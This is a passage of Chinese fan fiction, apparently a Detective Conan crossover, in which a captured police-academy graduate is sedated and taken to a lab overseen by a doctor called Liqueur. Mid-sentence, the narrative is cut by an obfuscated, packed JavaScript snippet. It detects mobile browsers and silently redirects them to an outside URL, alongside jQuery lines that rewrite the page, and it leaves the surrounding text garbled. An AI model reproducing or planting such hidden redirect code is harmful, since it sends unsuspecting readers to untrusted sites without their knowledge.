冰冷的触感从手腕蔓延到全身时,芥川千羽才勉强找回意识。
不是柔软的床,是贴在后背的金属地面,带着未散的寒意,像直接裹了层冰。
他想动,却发现手腕和脚踝都被粗实的皮带绑在审讯椅上,皮革磨得皮肤发疼,连抬头都得用尽全力。
审讯室没开灯,只有头顶一盏惨白的应急灯亮着,光线刚好落在他脸上,刺得眼睛发涩。
空气中弥漫着消毒水和铁锈混合的味道,角落里的通风口嗡嗡作响,却吹不散那股让人窒息的压抑。
“醒了?”
门口传来脚步声,不是琴酒的皮鞋声,是软底的白大褂鞋,轻得像猫爪挠过地面。
芥川眯着眼看过去,进来的是个穿白大褂的男人,脸上戴着口罩,只露出双没什么情绪的眼睛,手里端着个金属托盘,上面放着针管和小瓶透明液体。
好像是镇定剂。
“不用挣扎,”男人把托盘放在旁边的铁桌上,声音平淡得像在念说明书,“这药能让你放松,也能让我们省点事。”
芥川的喉咙发紧,刚想开口,却发现连说话都没力气。
后颈的钝痛还没消,肋骨处的旧伤一呼吸就扯着疼,显然是之前的打斗和琴酒那一击还没缓过来。
他只能死死盯着男人手里的针管,指尖攥得发白,指甲几乎要嵌进掌心。
男人没管他的抗拒,走过来按住他的手臂,冰凉的酒精棉擦过皮肤时,芥川猛地挣扎起来,审讯椅被晃得发出刺耳的声响。
可皮带绑得太紧,他的动作像困在网里的鱼,只能徒劳地扭动。
“别动。”
男人的声音冷了几分,另一只手按住他的肩膀,力道大得像要把骨头捏碎,“琴酒大人说了,要活着的,你要是伤了自己,我们都不好交代。”
针头扎进皮肤的瞬间,芥川倒吸一口凉气。
透明的液体被缓缓推入血管,没几秒,一股麻痹感就从手臂蔓延到全身,挣扎的力气像被抽走的潮水,连眼皮都变得沉重起来。
他看着男人收起针管,模糊的视线里,只看到男人转身离开时,白大褂后颈处别着的银色徽章。
和黑田、琴酒身上的乌鸦徽章不一样,是个扭曲的试管图案。
不知过了多久,审讯室的门再次被推开,这次进来两个穿黑西装的男人,面无表情地解开他的皮带,一左一右架住他的胳膊。
芥川的腿软得像没了骨头,只能被他们半拖半架地往前走,走廊里的冷光灯一盏接一盏掠过,晃得他意识更加模糊,只记得走了很长的路,最后停在一扇厚重的金属门前。
门开的瞬间,一股更浓的消毒水味扑面而来。
研究室比审讯室亮得多,天花板上的冷光灯照得整个房间像块冰,正中央放着个银色的金属平台,周围摆满了不知名的仪器,屏幕上跳动着复杂的数据流。
“放在上面。”
一个女声传来,比之前的男研究员温和些,却依旧带着疏离的专业感。
芥川被架到平台上,手腕和脚踝再次被固定住,冰凉的金属贴着后背,让他打了个寒颤。
他勉强抬起头,看到个穿白大褂的女人走过来,没戴口罩,浅棕色的长发被挽成利落的发髻,鼻梁上架着副细框眼镜,镜片后的眼睛是浅灰色的,像蒙着层雾,手里拿着个平板电脑,正在快速记录着什么。
“芥川千羽,20岁,前警校学员,体能评级B+,格斗能力A级,拆弹能力s级……”
女人念着数据,声音平稳,目光扫过他的脸时,停顿了半秒,“适应性观察第一天,生命体征稳定,镇定剂剂量合适。”
“你是谁?”芥川的声音沙哑得像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379538|184080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被砂纸磨过,麻药的劲还没完全过,说话都断断续续。
女人抬起头,浅灰色的眼睛里没什么情绪,却不像其他人那样带着敌意。
“利口酒,你的主治医生,接下来由我负责你的身体状况和适应性训练。”
她顿了顿,指尖在平板上点了下。
“别想着逃,这里的安保系统比你想象中严,而且……”她看了眼芥川胸口的位置。
“你藏在衣服里的警徽,暂时不会收走,但如果有不该有的心思,它会变成你最后的念想。”
芥川的瞳孔骤缩。
他以为自己把警徽藏得够隐蔽,缝在警服内袋里,没想到还是被发现了。
他下意识地想摸胸口,却被固定带牢牢锁住,只能眼睁睁看着利口酒转身走向仪器,背影挺直得像根标枪。
研究室里的仪器开始发出轻微的嗡鸣,屏幕上的数据流跳动得更快。
芥川躺在金属平台上,看着天花板上的冷光灯,突然混沌的脑海里浮现出毕业典礼那天,松田勾着他的肩膀说要一起喝到不醉不归。
萩原笑着说要带他去吃双倍叉烧的拉面,诸伏递来的温水,降谷那句“注意安全”……
这些画面像走马灯在脑海里闪过,让他原本沉重的眼皮突然有了力气。
他握紧拳头,指甲嵌进掌心,即使麻药还在发挥作用,即使身体被牢牢锁住,他也没放弃。
他要活着,要逃出去,要回到他们身边,兑现那个一起吃拉面的约定。
利口酒似乎察觉到他的动作,回头看了他一眼,浅灰色的眼睛里闪过一丝极淡的异样,嘴角上扬,却没说话,只是继续调整着仪器。
金属平台缓缓升起,周围的仪器开始发出细微的滴滴声。
芥川闭上眼睛,把那些温暖的回忆攥在心里,像攥着最后一点光。